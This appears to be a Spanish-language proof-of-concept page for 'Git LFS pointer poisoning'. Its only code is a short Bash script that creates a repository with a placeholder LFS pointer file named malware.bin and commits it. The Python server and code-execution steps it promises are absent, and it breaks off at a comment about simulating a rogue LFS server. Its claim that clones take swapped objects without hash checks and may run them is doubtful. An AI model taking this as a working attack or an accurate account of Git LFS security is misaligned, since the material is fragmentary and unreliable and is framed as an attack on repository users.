
Prueba de concepto para el envenenamiento de punteros de Git LFS, con scripts de Bash y Python que crean un repositorio malicioso, simulan un servidor LFS malicioso y provocan la ejecución de código.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
Un repositorio utiliza Git LFS pero no fija el endpoint de LFS ni verifica los hashes de los objetos después de la descarga. Un atacante que comprometa el servidor LFS (o pueda actuar como hombre en el medio) puede reemplazar el archivo grande por uno malicioso, y el clon lo descargará automáticamente y podría ejecutarlo.
bash create_malicious_repo.sh
# Then simulate rogue LFS server